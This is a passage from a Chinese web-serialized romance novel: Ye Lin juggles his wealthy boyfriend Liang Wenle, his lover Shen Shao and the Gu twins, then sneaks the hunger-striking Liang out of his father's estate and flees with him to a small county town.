男人更正他的话:“不是梁文乐,是他的父亲,这处房产属于梁先生。” 叶临听到这句话,总感觉事情不对劲。 他连忙跑回别墅里,先把值钱的小东西全部收进来,再跑去停车场。 原本应该停满二三十辆豪车的停车场,像是被洗劫一空,居然一辆都没有了! 还好,管家就在停车场旁边,他可以跑过去问问。 管家看到叶临,礼貌性地点头:“叶先生,梁先生不同意小少爷的订婚要求,就把他关起来了,还没收名下所有资产。还请你清点东西,早点离开吧。” 原来是因为这个啊,那梁文乐以后再也不会见到他了! 叶临喜上心头,赶紧问:“那,那梁先生让我跟文乐分手,没点表示吗?” 管家淡定地询问:“什么表示?” 叶临搓搓拇指和食指指。 管家摇摇头,表示不理解。 叶临这次不仅搓搓手指,还眨眼睛疯狂暗示。 官家还是没反应。 最后他没办法叹气道:“哎呀,就是给我点好处,我才跟梁文乐分手啊。” 管家嘲讽:“梁先生可以把房间里的所有值钱东西都带走,我会替你转告少爷,你们已经分手的事实。” 靠!这老头是真抠门啊,居然不给钱,就想逼他跟梁文乐分手,没门! 叶临气不过,自信放出狂言:“你去跟梁先生说吧,我跟文乐情比金坚,绝不可能分手的!” 管家没有跟他多说,转身离去。 离开别墅后,叶临就去了沈邵的住处,把东西胡乱地堆在茶几上,发脾气骂梁文乐父子。 骂累了,他躺在沙发上给沈邵打电话。 “我饿了,回来做饭给我吃。” “你在我家?” “对,饿死了,你快点。” “不行,我还要工作,你自己点外卖吧。” “沈邵,你过分了吧,我可是你老板,快点回来!” “老板也不能有特例。” 沈邵没有把话说完,已经在关闭工作软件,准备下班。 “我不管,反正我现在就要吃到你做的饭。你不来,我就去公司闹你!” “怎么闹我,当着员工的面扑进我怀里哭诉吗?” “闭嘴,你到底来不来啊?” “来,你想吃什么?” 叶临心里舒坦了,给他报一堆菜名,美滋滋地挂断电话。 怪不得都说想抓住一个男人的心,就得抓住他的胃。 要是沈邵是个女生,贤惠能干,他早就娶了做老婆,天天准时回家,跟他的老婆亲亲。 叶临想到需要自己伺候的少爷梁文乐,以及忘记自己的笨蛋顾嘉致,忽然觉得体贴细心的沈邵顺眼不少。 沈邵说话也好听,总能精准地掐住重点,说出让他满意的话语。 也没有刚开始那样讨厌了,可以给点好脸色看。 二十分钟后,沈邵提着一大堆食材进门,发现自己好不容易收拾整洁的家被叶临弄得乱七八糟。 桌子上堆满了各种颜色的盒子,门口的鞋子乱放,就连沙发的枕头都掉在地上,而叶临还在躺着玩手机,无动于衷。 沈邵叹气一声,只是在放好食材后,默默地把门口的鞋子摆放整齐,再捡起地上的枕头放在叶临的旁边。 叶临感觉到枕头的存在,抬头去看沈邵:“饭做好了吗,我好饿。” 沈邵看向桌上的盒子:“这些都是什么?” 叶临随便打开一个盒子,露出里面的宝石戒指:“这些都是梁文乐送我的,你都拿去换钱给公司,短时间内不要问我要钱了。” 沈邵翻开好几个盒子,居然每个都是价值千万,顿时明白梁文乐对叶临的爱意如何沉重。 漂亮的宝石不容易收集,需要花费很多时间和金钱。这些都是梁文乐的珍藏,全部都送给他的爱人。比起宝石,叶临才是他的珍宝。 沈邵盖上盒子:“公司暂时不缺钱,你一次性把梁文乐送的宝石都卖了,他会气死的。” 叶临想到梁父就来火:“别说了,我也快被他们气死了。” 沈邵听说了梁文乐闹订婚的事情:“梁文乐想跟你订婚,你想吗?” 叶临看着桌上的宝石戒指:“本来不太想,但是他爹都不给我分手费,我现在就想了!” 他以为梁家那样富裕的家庭,随手就能给他三四亿分手费,没想到啊,居然这么抠门! 那就偏要订婚,气死那个抠搜老头! 沈邵看破他的意图,在旁边坐下来:“那你订婚以后,还会来找我吗?” 叶临偏头,刚好对上他的眼神,总感觉透着幽怨:“会啊,我是梵星老板,当然要来监督你工作。” 沈邵又问:“只是因为员工和老板吗?” 叶临被他看得心里莫名发虚:“那你做饭好吃,我要来吃饭,还得跟你吐槽梁文乐啊。” 沈邵的语气平静,眼神却牢牢地钉住叶临:“梁文乐这个人占有欲强,现在愚蠢,不代表一辈子都愚蠢。如果你们真的订婚了,我们的关系可能藏不住。” 叶临下意识地避重就轻:“我们什么关系,不就员工和老板嘛,清清白白的。” 沈邵咬重“清清白白”这个词,凑过去吻他,低声问:“这样清清白白吗?” 这家伙就像是毒药,一接触就会散掉所有力气。 叶临哪里招架得住,下意识地往后倒,被按住手腕。 “别,别,前几天梁文乐才发疯,我还没好。” “他怎么发疯的?” “这样?” “还是这样?” 沈邵从未想过,自己居然会为叶临这种三心二意,没有责任担当的人生出醋意。 可感情就是不能由自己控制,他会反反复复追问叶临,自己和梁文乐的区别。 哪怕他没名没分,这所公寓也只是叶临暂时休息的场所,他们之间的关系飘摇欲坠。 他也力求在叶临这里,分出自己和梁文乐的差距,听到自己优于原配的地方。 叶临感觉快被漩涡吞噬,意识不清。 “沈,沈邵你” 刚出声就被双手合十,按在旁边。 “文乐不会这样温柔吧,他肯定从来不顾你的感受,只知道自己痛快。” 沈邵的聪明体现在很多方面,什么事都能融会贯通,举一反三。 比如他拥有叶临的时间远远低于梁文乐,但就是能够练出神入化的技巧。 每一次呼吸,每一个抬手,每一次垂眸,都是在心里预设过无数次,总能恰到好处。 倘若梁文乐是一场毫无章法的狂风,将大树掀得摇摇欲坠,偶尔才会停下来。 而沈邵就是一场温柔细腻的春雨,赐予枯萎大树应有的生机,持续而漫长。 “艹!”叶临又羞又气,抬手去抓,划拉出长长的红色痕迹:“都说,都说” “文乐不会让你这么抓吧?”沈邵怜惜地吻他的眉眼,眼神得意:“只有我,只有我才能让你如此快乐。” 叶临说不出话,他感觉自己被海浪淹没,有短暂的窒息感,但漫长的舒适。 这是令人沉溺的,哪怕过程会生气,可结果总是满意,不会因此怪罪沈邵。 沈邵把人抱起来,朝着浴室走去,还要问:“怎么样,梁文乐能有我好吗?” 叶临嗔怒地瞥他一眼:“你不是早就知道嘛,还一直问问问,当然比不过了!” 沈邵满意了,凑过去吻他的发梢。 午饭果然是一顿大餐,好几道菜都是叶临爱吃的,吃完就肚子胀。 沈邵提议去楼下散散步,消消食。 叶临看了眼外面的天气,太阳没有很晒,而且小区里的绿化好,也可以下去走走。 早上,小区里基本没人。 有一处月季花开得热烈,淡粉色的,很密集,远远地看去像是云霞。 叶临看到这些普通的月季花,忽然想到前几天在岛上看见的玫瑰花,总算能够分出好坏。 小区里的月季花,根本比不上梁文乐送给他的玫瑰花。 沈邵注意到他心神不宁,于是搂住他的肩膀,正想问他在想什么,忽然感觉到有一道视线在身后,立即转身去看。 只见不远处的绿化带里,闪过灰色的人影,好像有人在偷拍。 “我们回去吧,待会儿太阳就晒了。” “好吧,这里也没什么好逛的。” 进公寓楼的时候,沈邵又感觉到那道熟悉的视线,心里有了不好的预感。 接下来的几天里,沈邵还是能够感觉到那道视线,但是他顺着去找,又抓不到。 这道视线会在傍晚,他和叶临出门散步出现,也会在他去买菜的途中出现,但是不会出现在公寓楼。 应该是专业的私家侦探了,感觉不是冲他来的,而是冲着叶临来的。 吃晚饭的时候,叶临又在吐槽梁文乐,结果沈邵没有给出回应,显然是在走神。 叶临用筷子敲碗,不满地抱怨:“你这几天怎么回事,老是走神!” 沈邵回过神来,看向菜肴:“怎么,饭菜不好吃吗?” 叶临继续吃饭,边吃边说,吐字含糊不清:“你刚刚根本没有在我说话,我明明是在跟你骂梁文乐。” 沈邵忽然想到那个跟踪他们的侦探:“那你接下来怎么办,一直在这里等着?” 叶临认真思考了一会儿,其实跟梁文乐在一起的利益远远大于分开,但他又不想去梁家:“就等着呗,梁文乐那么受宠,过段时间就会放他出来。” 沈邵预想到不远的将来,又问:“那如果有一天,梁文乐发现我们的关系,你会怎么做?” 叶临就算不承认自己跟沈邵是情人,但是在外人眼里,他们就是这种不正当的关系。 倘若被梁文乐发现,他估计要被打死,毕竟沈邵是梁文乐的初恋。 “还能怎么办,就跟他断了呗,反正你又没事,麻烦的是我!” “那倒未必,我是觉得你可以做好准备。” “切,少咒我。” 叶临不以为然,既然这么久梁文乐都没有发现他和沈邵的事情,那未来也不会发现。 后续他们没有再聊这个话题,而是出去散散步,去附近的超市购买生活用品,再回来看电视。 沈邵的自制力很强,到点就会进入书房工作,留叶临在外面玩手机。 客厅的面积有限,并不像顾嘉致家里那样宽敞,还有漂亮的落地窗,可以欣赏外面的夜景。 叶临想到顾嘉致,又跑去医院。 他在沈邵家里住了后,经常会去公司视察工作,去医院整蛊顾柘的次数都少了。 顾柘还是那副样子,对于他的挑衅和整蛊,一概不搭理,仿佛没看见,越来越没趣味。 叶临先去了顾嘉致的病房,发现他在看电影,脸上的白色绷带被电影里的灯光照成五颜六色。 顾嘉致听到脚步声,就无奈地叹息:“你怎么又来了?” 叶临在旁边坐下来,还贴心地帮他调正播放仪器:“我来看看你这个家伙什么时候恢复正常。” 顾嘉致感觉自己没办法跟叶临正常对话,想到近期听到的流言蜚语:“听说梁文乐为了跟你订婚,被家里关起来了。你现在是准备跟他分手,然后搭上我这条船?” 叶临翻了白眼,鄙夷道:“早说了,我不图你的钱,我们只是朋友。再说了,你们顾家才几个钱啊,都比得上梁文乐的一半身价。” 这是事实,梁文乐是圈内公认最有钱有势的富二代,所以大家都会愿意迁就他。 顾嘉致听着不舒服,怒怼:“你非要拿我跟梁文乐比,不就是把我当成男友备选,只知道拜金,谁会喜欢你!” 叶临听到他说“拜金”,气得猛然拍桌,指着他的眉心骂:“我不需要你的喜欢,只是关心朋友而已。还有,你怎么好意思说我拜金啊! 请问你手里有一个亿现金,名下有十几艘豪华游艇,有价值10个亿的别墅吗? 只有图豪车豪宅,游艇飞机,十几亿现钱这种,才配叫做拜金好吧!几百几千万那点小钱,能叫拜金吗?” 顾嘉致就是拿不出一个亿的现金,就是没有豪华游艇,更没有价值10个亿的别墅。他最多能给叶临几百,几千万。 所以在叶临心里,顾嘉致远远比不上梁文乐。 不知道为什么,明明不喜欢叶临,可是听到他这些话就会难受。 他像生吞了柠檬,从牙齿酸到神经末梢,整个人都麻了,心脏抽疼。 男人破防,就容易怒火上涌,忍不住大骂:“是梁文乐有钱,又不是你有钱,还好意思在我面前得瑟,你算什么东西,没权没势的私生子而已!” 叶临好心好意过来看他,不仅被骂“拜金”,还被骂“私生子”。 真的忍不了,脸颊涨红,站起来难以置信地质问:“你怎么敢这样骂我,你肯定不是顾嘉致!” 顾嘉致冷哼一声:“我为什么不能这样骂你,是你先嘲讽我比不上梁文乐的!” 叶临皱眉努嘴,表情委屈:“我说的事实啊,你本来就没梁文乐有钱,这也有错喽!” 顾嘉致眼眶通红,恨不得咬碎牙:“那我说的也是事实,你本来就是叶家的私生子,没权没势,只能靠男人。” “你这个智障!”叶临忍不住踢了病床,朝着门口走去:“我再也不来看你了,康复后记得把我的三千万转回来,你不配!” 顾嘉致因为病床晃悠,疼得哀嚎一声。 叶临听到声音,下意识地扭头去看,确认他没事才离开,都没摔门。 到了走廊里就感觉到一股寒意,是从尽头的窗户透进来的,外面的天色已经彻底暗下来。 叶临气不过,又进了顾柘的房间里。 还是不敢相信,他曾经的好兄弟顾嘉致,因为失忆居然会变成这样一副丑陋的模样。 顾柘察觉到他的存在,已经心如止水,两眼放空,准备忽略。 可是下一刻,病床就被踢了一脚,紧接着就牵连到肌肉,疼得他低吟。 顾柘疼得抽气:“你想谋杀我,然后进监狱吗?” 叶临看到他的反应,高兴地笑出声:“活该,谁让你作孽!” 要不是顾柘,顾嘉致怎么会变成那副可恶的模样。肯定还是在梵星矜矜业业地工作,跟他一起去沈邵家蹭饭,再回到公寓打游戏。 顾柘看他表情就知道是因为顾嘉致:“难不成你真喜欢顾嘉致,他忘记你,所以心里不痛快,就来折磨我?” 叶临慌张解释:“我才不喜欢他,我只是觉得我们以前关系很好,现在不好,当然要怪你。” 顾柘嘲讽道:“你们以前的关系就不好,顾嘉致心里本来就看不起你,只是会装。 但是现在失忆,忘记伪装,所以你觉得他讨厌,像陌生人。” 他跟顾嘉致是双胞胎兄弟,某些时候还是会有所感应:顾嘉致一开始应该是嫌弃叶临,后面才逐渐沦陷。 现在好了,失去记忆,露出真面目。叶临肯定会越来越讨厌顾嘉致,他们就不可能相爱 叶临抬手去戳他的脸:“你胡说八道,才不是!” 顾柘刚要找理由反驳,紧接着就看到顾母出现在门口。 顾母看到叶临的举动,连忙冲过去抓住他的手,大声质问:“我们家小柘怎么得罪你了,你要这样折磨他?” 叶临抽出手,连忙解释:“阿姨,你误会了,我只是来看望顾柘,没有想折磨他。” 顾母低头去看顾柘缠满绷带的脸,心疼地流泪:“我最近听说,你是梁文乐的男朋友,跟嘉致关系好,所以才跑过来折磨小柘吧! 我就知道男同性恋最可怕,你之前是污蔑我们小柘吧,其实他没有嘲讽嘉致!” 叶临懊悔自己应该小心谨慎:“阿姨,我刚刚只是摸了一下,没有想折磨顾柘。而且我说的是实话,就是顾柘嘲讽在先。” 顾母站起来,指着他的眉心骂:“你撒谎,我刚刚看你的眼神就不对劲,分明就是趁人不在,想欺负小柘。我现在就去调监控,看看你偷偷来过几次?” 调监控,居然还有监控,那他岂不是完蛋了! 叶临害怕得发愣,大脑快速运转。 顾柘突然出声叫住顾母:“妈,叶临没有折磨我,是你误会了。因为我说害怕毁容,他就帮我摸摸脸,还安慰我不会有事。” 顾母又坐回去,忧心地看向顾柘:“是这样吗,我看你是个乖孩子,会不会被人偷偷欺负?” 顾柘摇头,微笑道:“妈,不是的,我真的没有被叶临折磨。 你知道的,我朋友少,都没什么人来看我,他算是一个,很难得了。 而且他很关心我的健康,经常来看我,安慰我,劝我看开点。” 顾母还是不信:“不对吧,他还说你嘲讽嘉致,怎么会是朋友?” 叶临赶紧补充:“阿姨,其实我是他们两个人共同的好朋友了。不然他们打架,我直接帮顾嘉致往死里打顾柘就好了,何必劝架还叫救护车呢。” 顾柘趁机配合:“对啊,其实叶临这个人很正直,诚实守信。是我嘲讽嘉致在先,所以他才会对你们说实话。” 叶临疯狂点头:“我不想看见兄弟反目成仇,说实话的为了让顾柘反省自己。他确实反省了,我很高兴,刚刚在关心他,真的没有欺负人。” 顾柘看向叶临,二人目光对视,思绪瞬间就连上。 他们的默契很好,就像那次他跟梁文乐打架想半路离开,叶临刚好拦住梁文乐。 顾母感觉他们说的有道理:“真是我弄错了?” 顾柘低头:“是的。还有啊,妈,你不接受男同性恋,没必要骂,叶临这个人还是挺好的。” 顾母最为溺爱顾柘,一向觉得这个大儿子是个聪明的天才,非常信服他的话。 而且叶临是同性恋,他儿子又不是同性恋,这没什么大不了的。 顾母瞬间醍醐灌顶,立即站起来朝着叶临道歉:“对不起啊,刚刚阿姨说话太重了。你是个好孩子,喜欢男生也没什么错。” 叶临微笑地回应:“没事没事,阿姨爱子心切,可以理解。那我还有事,先走了。” 顾母跟他道别,送给他小礼物,邀请他来家里做客。 叶临谢过礼物,跟顾柘对视一眼,目光不解,匆匆离开。 等到叶临离开,顾母注意到大儿子的目光还在走廊外,猛然惊醒:“小柘啊,我听说梁文乐那孩子为了订婚,大闹一场,气得他爸心脏病都犯了。 好可怕!你可千万不要学他,去喜欢男生,更不要喜欢叶临啊!” “妈,你放心好了,我不会喜欢男生的。” “但是叶临喜欢男生,他还经常来看你,你又是这个眼神,真的不会喜欢吗?” “妈,我真不喜欢,男生之间还是有纯友谊的。” “是吗,那我刚刚看你眼睛都要粘在叶临身上,真不正常!你不要喜欢他啊,且不说是男生,他还是有男朋友的!” “我真的不喜欢” 母子就性取向的问题展开了好几个小时的讨论,但这些叶临都不会知道了。 他打车回了沈邵的公寓,一路上都在想顾柘的用意。 为什么不跟顾母告状呢,明明被他折磨了一个月,居然不说,还帮他打掩护? 难道良心发现了,真奇怪? 叶临随手点开手机,发现有好友申请,备注是陈琳瑜。 陈琳瑜是梁文乐的表姐,为什么加他? 不管,先通过。 【叶临,你快去看看文乐吧,他都闹绝食四天了!】 【绝食?】 【对,舅舅不同意文乐订婚,他就把自己关在房间里,四天没进食了。 舅妈在国外还没回来,舅舅又倔,干脆就把他的房间锁了,还不让任何人跟他接触,非要跟他杠到底,我真的担心他出事。】 【那行,你把地址发过来,我过去看看。】 【好!你快去吧,文乐以前就因为低血糖休克过。 舅舅太强势了,家里没几个人敢管,其他人也靠不上,现在也只有你好出面去看他了。】 【表姐你别担心,我会保证文乐安全的。】 【谢谢你!】 陈琳瑜心思细腻,发了地址,还告诉他怎么从小路潜进去,以及保安的工作时间,方便他顺利进去。 叶临回到公寓后,稍作收拾,在兜里揣了个苹果,骑着摩托车就出去。 陈琳瑜最疼爱这个表弟,能够给他发这么条消息,应该是事态紧急,非去不可了。 虽然他不喜欢梁文乐,但不想这个笨蛋小少爷饿死,或是因此休克进医院,那样确实太可怜了。 第39章 第39章“叶临,我们私奔吧!”…… 别墅位于山顶,坡度平缓,种满了梧桐树,白色树干直插天际,浓绿的枝叶组成庞大的伞盖,遮挡住阳光。 地面多是细碎的光,两边种满了黄色郁金香和紫色风信子,随风摇曳,散发着浓郁的香味。 山腰修建了温泉,泳池,高尔夫场,酒庄各种娱乐实施,供人足不出户,就能享受玩耍。 整座山都被围起来,安排人保护雇主的安全。 社会稳定,大环境安全。 这些安保人员大都在固定的位置,不会频繁地巡逻,影响雇主的生活,警戒性不高。 梁文乐已经四天没有进食,更没有喝一滴水,嘴唇干裂破皮,整个人都开始恍惚。 他躺在床上,看着外面的阳光,有时候会感觉到自己身处地狱,被烈焰灼烧,而窗外则通往天堂,明媚美好。 记得小时候,他经常会跟着外婆去教堂祷告。 高大宏伟的教堂里,巨大的管风琴会发出神圣空灵的音乐。 阳光透过彩色玻璃,构造梦幻的世界,穹顶之上是繁复华丽的浮雕和画。 偌大的教堂里,只有他和外婆,以及偶尔飞进来的蓝色小鸟。 他会蹲下来,喂蓝色小鸟吃东西,再得到神父的夸赞。 外婆告诉他,只要他内心虔诚,神明就会赐予他幸福。 小小的他不懂,反问外婆什么是幸福。 外婆摸摸他的头微笑,低声念祝词,愿主保佑他。 梁文乐好想打电话告诉外婆,神明是假的,根本没有保佑他。 要不然,他现在怎么会经历人生中最大的苦难。 想要跟心上人订婚却被阻拦,绝食四天都快昏过去。 手机还被没收了,毫无力气。 此刻,宽敞的房间变成了棺材,而他只需要静静地等待死亡。 好恨啊,父亲居然会对他这么狠。 梁文乐光是想想父亲那副嘴脸,就会气愤委屈,眼角滑下泪珠。 父亲从未打过他,顶多口头教训两句,可是因为订婚的事情,居然骂他是蠢猪。 “蠢猪”多么难听的词汇,居然能从父亲的嘴里骂出来,太恶毒了。 这次绝食,不仅仅是为了争取订婚,更是为了向父亲宣战。他要证明自己的决心,让父亲因此受到母亲的责罚。 然而视线越来越模糊,他怎么感觉快坚持不住了呢? 梁文乐的眼皮不断地往下耷拉,努力地睁开眼,又再次合上。 终于,闭眼的瞬间,听到了熟悉的声音。 “文乐!” 梁文乐勉强睁开,透过一条细小的缝隙去看。 居然是叶临站在窗外,轻轻地拍打玻璃,呼唤他的名字。 “文乐,你别睡啊,快起来,快起来!” 叶临站在光里面,就像是教堂里的神像,正温柔地注视着他。 梁文乐试着抬手,尝试三次才下床,把窗户打开。 “我的天,你的脸好白!” 叶临进去后,及时将梁文乐扶住,赶紧把苹果递到他的嘴边:“快吃两口。” 梁文乐试着张嘴去咬,好半天才吃到一点。 干裂的嘴唇沾到水都在刺痛,但像是尝到了蜂蜜,从嘴里甜到心里,哪里都不疼了。 叶临看向四周,发现这个房间比之前的客厅还要大上两倍。肉眼可见都是奢侈华丽的摆设,但没有任何水和食物。 “老登真狠啊,这四天一点水和吃的都不给你啊?” “嗯。” “怪不得你表姐着急呢,我再来晚一点,我看你都要休克了。” 梁文乐没有回答,只是默默地啃苹果。 他从来没有觉得,这种普通的水果会如此美味,世界上任何食物都不能与之比较。 本来还想绝食到底,让爸妈后悔。可是看到叶临,他又放弃这个想法,只想吃光苹果。 苹果里有糖分和水,能够暂时提供能量,但还是很少,需要更多的食物。 叶临看到梁文乐的眼神里有光,应该是恢复了一些,于是问:“好点了吧,你现在还想继续绝食逼你爸爸吗?” 梁文乐垂头去看地面,愤愤不平:“不想了,他根本就不爱我,所以绝食对他没用,我再也不想呆在这里了。” 叶临扶着他往外走:“好,我带你出去。” 还好梁文乐的房间在二楼,可以轻松跳下去。而且底下有柔软的草坪,像是垫子,可以减轻受伤的程度。 这个时候是饭点,附近都没人,小心一点就不会被发现。 只不过,叶临可以轻松跳下去,而梁文乐就很困难了,光是正常行走都费劲。 叶临只好先跳下去,展开手臂鼓励他:“你跳下来,我会接住你的。要快点,三分钟后就会有人过来。” 梁文乐扶着栏杆往下看去,眼前一黑,感觉自己会昏死在这里,双腿都在颤抖。 可是底下是叶临的脸,还是毫不犹豫地往下跳去。 叶临读初中的时候经常翻墙,没少接应过兄弟,精准地预判梁文乐的落地位置,伸出手去接。 但是他低估了梁文乐的体重,接到的瞬间就被砸得跪倒在地,手臂被拉扯得生疼。 “啧!”叶临低声痛呼,还是忍着痛将梁文乐拉起来,朝着旁边的灌木丛里躲去。 还好他有陈琳瑜给的详细信息,能够准确地避开保卫和其他工作人员。 沿着灌木丛往东南角走,就是一条藏在森林中的小路。只要全程低头躬腰行进,就能遮掩住身形,避免外人发现。 梁文乐被叶临拽着前进,脚上经常踩到碎石子,几欲摔倒,脸上被叶子刮得辣疼,像是潜入森林海洋,快要窒息。 这是*他第一次尝到这种坚酸辛苦,可是只要感觉到叶临手心里的温度,就感觉要飘起来,像个爱心气球,只跟随着牵绳子的人。 光影在树荫中模糊,叶临的背影是坚毅的,哪怕肩膀撞到地面都没有抱怨,还在前面继续跑,速度不快不慢,很稳定。 花了五六分钟才穿过灌木丛,到了稍微宽敞的地方。 梁文乐累得快要昏过去,靠着叶临的肩膀低头喘。气,脸色稍微红润了一些。 这是位于山腰的某处树林,非常密集,可以遮挡大部分的视线。 叶临揉了揉胳膊,指着右手边:“山下的大道有人,不能走。我们沿着这里往下,走人少的道,再回市里。” 梁文乐抓着他的袖子,低声道:“不要回市里,先随便找条路出去。” 叶临答应他的要求,抬手去摸他的额头:“没有发烧,只是身体虚弱。先找个小店,让你喝点粥。” 梁文乐抬眼去看他,嘴角微微上扬:“你担心我啊?” 叶临无奈地叹气:“肯定担心,你饿死了,我怎么办?” 梁文乐心里甜滋滋的,感觉整个人都被泡进蜜罐里,什么困难都不怕了。 只是休息片刻,他们就继续前进,沿着叶临的来时路下山。 到了山下的小路,撇开杂草和树枝,就能看见一辆黑色的摩托车。 这辆摩托车的车身还有蓝色的火焰纹路,线条彰显着力量与野性,像是黑夜里的疾风。 叶临取下后座上的安全头盔,亲手帮梁文乐戴上,系紧带子,贴心叮嘱:“待会儿抱紧我,从这里好出去。” 梁文乐戴上黑色头盔,脸上的混血感更强,像个bjd娃娃:“你怎么不戴头盔?” 叶临抬脚松开刹车,翻身跨坐上去,示意梁文乐坐到后面:“不需要。” 梁文乐在后面坐下来,就看到叶临用外套把他们的腰系在一起,避免他没力气松开手,坐不稳。 摩托车发动的瞬间,就像是子弹射出去,周围的景物都拉出残影,不断有强大的风打在脸上,像是被刀子割,耳边还有噪音。 梁文乐坐不惯摩托车,忍不住发问。 “你为什么不开别的车过来接,非要开这辆摩托。” “大少爷,四轮的太扎眼了,就这辆越野摩托车好混进来接你。” “不许叫我大少爷,要叫文乐。” “好嘞文乐,坐稳了,接下来有个弯道要过。” 梁文乐乖乖地搂住叶临的腰,靠着肩膀听彼此的心跳声交织。 摩托车压弯的时候人身会随着倾斜,有种撕裂的错觉,会产生恐惧感。 稍有不慎,人就会被甩出去。 风速增强,吹得耳边在震动,有种跟死神较量的错觉。 梁文乐的肾上腺素上升,下意识地搂进叶临的腰,紧紧地依靠着面前这个人。 叶临驾驶摩托车的技术熟练,像是一道闪电,眨眼间就过弯,毫发无损。 紧接着又抄近路,闯进溪边的碎石小路,再回到正常的马路上。 梁文乐也喜欢赛车,他看得出叶临的技术纯熟,胆大细心,会挑选最好的角度,提前操控方向。 驾驶车辆的过程中,非常平稳,不会颠簸。 猛然想起,之前在赛车场上。 他让叶临坐在旁边,后面叶临的脸色逐渐难看,应该是嫌弃他技术差,但是没说出来吧。 叶临就是这样温柔体贴,时刻照顾着他的自尊心,绝对不会让他受伤。 梁文乐越想越喜欢,感觉自己遇到了真正的幸福。 他觉得自己确实是被神明眷顾,能够得到一个完美的恋人。 好想就这样跟叶临一直过下去,永远不分开。 梁文乐闭上眼睛,闻着叶临身上的气味,已经开始幻想他们未来的美好生活。 风轻,云柔,大片的花海,以及拥吻的他们。 他情不自禁地大喊出来:“叶临,我们私奔吧,就这样一直走下去,再也不回头了。” 叶临听到他的声音,愣了片刻才回答:“私奔吗?” 梁文乐的心情亢奋,回忆自己看过的无数个爱情电影:“对,私奔!逃到天涯海角,逃到只有我们两个人的地方!” 叶临感觉他应该是饿疯了,精神不正常,只好劝说:“哎呀,现在交通发达,哪有什么天涯海角?顶多出去散散心,过段时间看梁家的反应,再做打算。” 梁文乐靠在他的肩头,不满地反驳:“就是私奔,我要永远跟你在一起,谁也不能阻止我们相爱!” 算了吧,只要大少爷开心就好,他还能说些什么呢。 叶临劝不动,干脆附和:“好,就私奔。” 梁文乐大声笑起来,像个开心的傻子:“嘿嘿嘿,我好高兴啊,在18岁遇到你,是我这辈子最幸运的事情了!” “我也很幸运,可以遇到文乐。” 摩托车停在一家面馆门口,这里是个热闹的小县城,熙熙攘攘,到处都是冒着白气的小吃摊。 叶临进了一家夫妻面馆,里面还有个小学生在写作业。他告诉老板,自己的朋友很久没吃饭,要求口味很淡,好消化的粥。 老板看梁文乐衣着不凡,脸色苍白,不明白有钱人为什么会吃不饱饭。 但他太懂这种饿了很久的人应该吃什么,很快就去后厨准备。 叶临让梁文乐坐下来,给他倒了热水,指着门口叮嘱:“我去找个地方停车,你在这里等我,别乱跑。” 梁文乐哼了一声:“我才不会乱跑,你少拿这种跟小孩说话的语气!” 实际上,他在叶临眼里,就是个没长大的小孩。毕竟,只有小孩子才会用绝食来威胁爸妈。 叶临没办法,只好附和,再出去。 面馆里有很多人都在观察梁文乐,觉得他长得像外国人,很新奇。 梁文乐不喜欢被人观察,一一瞪回去,才慢慢地喝粥,吃配菜。 这粥不够香,菜也不好吃,店里还没有精致气派的包厢。 要不是叶临带他过来,这辈子都不可能踏入这种地方。 梁文乐默默地抱怨,还是把粥和配菜都吃光了,肚子总算舒服了。 叶临回来的时候已经买了新头盔,还拎着三个袋子。 分别装的几件新衣服,糖葫芦,新手机。 新衣服很普通,剪裁随意,版型一般,材质还是聚酯纤维。 梁文乐嫌弃地翻动衣服,低声吐槽:“怎么买这些丑衣服?” 叶临拿出糖葫芦剥开包装纸,递给他:“你不是要去外地吗,路上肯定要换衣服,凑合穿吧。” 糖葫芦有晶莹的糖衣,里面是大颗草莓和葡萄,看起来很甜。 梁文乐接过来尝了一口,有点嫌弃地皱眉,但想到这是叶临帮他买的,还是全部都吃完。 叶临盯着他吃完,眼睛里有光,像是糖葫芦表面的光泽:“你果然很喜欢吃甜的,后面我看看还有什么甜的,都买给你吃。” 梁文乐把竹签扔进垃圾桶里,骄傲地微微昂起头:“我也不是很喜欢吃甜的了。” 叶临懒得辩驳,拿出手机递过去:“接下来我们去哪里?” 梁文乐放大地图,看到一个地名“心怡”,果断选择:“就去这里。” 叶临看着距离预估:“那今天是到不了,我们先在这里休息一晚上,明天早上再出发。” 梁文乐打开他新买的手机,用着不顺手,干脆放下来,不想多看。 离开面馆后,他们不敢住酒店,上交身份证会被梁家发现。 叶临很擅长跟这些县城男人们打交道,送烟喝酒,花钱说了些好话,就获得一个房子。 房子有一百平,在梁文乐眼里太过狭窄,刚进门就嫌弃。 他还抱怨房间里气味臭,别人用过的厕所不干净,客厅不够亮,各种小毛病。 叶临想花钱请人打扫,但暂时找不到帮工。只好亲自把房子里里外外地打扫一遍,喷了除味剂,在客厅放置更大的灯,又更换床单被套。 折腾到傍晚才算完,累得瘫倒在沙发上。 叶临吃饭都没什么胃口,只想休息。 偏偏梁文乐的嘴不停开合,还在抱怨:“我觉得这里太小了,就没有更大的房子吗,这里怎么住人啊?” “你看这沙发也丑,怎么能用灰色,还是这种粗糙的材质!” “好烦,感觉空气混浊了,不舒服!” 叶临忍无可忍,出声打断:“够了!我已经尽力满足你的要求,这里是县城,又不是你的十个亿大别墅,还要怎么样!” 梁文乐被他吼懵了,不一会儿就气得站起来高声抱怨:“你居然凶我,你怎么能这样跟我说话!” “懒得跟你多说,累死,我先睡了。” 叶临身心疲倦,朝着卧室走去,倒头就睡。 梁文乐推翻了茶几上的所有东西,还大骂叶临好几句,拿出手机准备吐槽。 可是打开手机,才想起来他已经离开梁家了,不可能再跟以前的朋友们一样吐槽叶临的所作所为。 天黑后,窗外是万家灯火,客厅里却只有他一个人,万籁俱寂。 这破旧窄小的房子,居然变得异常宽敞。 梁文乐还是走进卧室里,在叶临旁边躺下来,将他搂进怀里。 其实叶临已经对他很好了,手臂受伤,还要打扫卫生,更要开车。 他不应该再抱怨,应该学会为叶临分担。 梁文乐默默地检讨自己,凑过去亲叶临的脸颊,低声道歉才闭上眼。 半夜雷声轰鸣,闪电照亮漆黑的天空,磅礴大雨像是要把整个县城淹没。 灼烧一般的痒意在蔓延,像是无形的藤蔓扼住咽喉,快要窒息死亡。 梁文乐猛然睁开眼,感觉脸上很痒,用力去抓挠,吓得连忙去推叶临:“叶临,我好痒啊,好难受!” 叶临不情愿地睁开眼,抬手去开灯,结果发现梁文乐身上都长满了红疹子,吓得立即坐起来:“你这是怎么了?” 梁文乐还在抓,像是浑身长满了虱子:“感觉好像是过敏,这衣服和被套是什么材质的?” 叶临回忆购买时的情景:“应该是聚酯纤维,还有混合纺织物。” 梁文乐急忙下床,脱掉身上的睡衣,换上原本的衣服:“那不行,我的皮肤对这些化学材质过敏,要天然羊毛,丝绸,纯棉那些才行。” 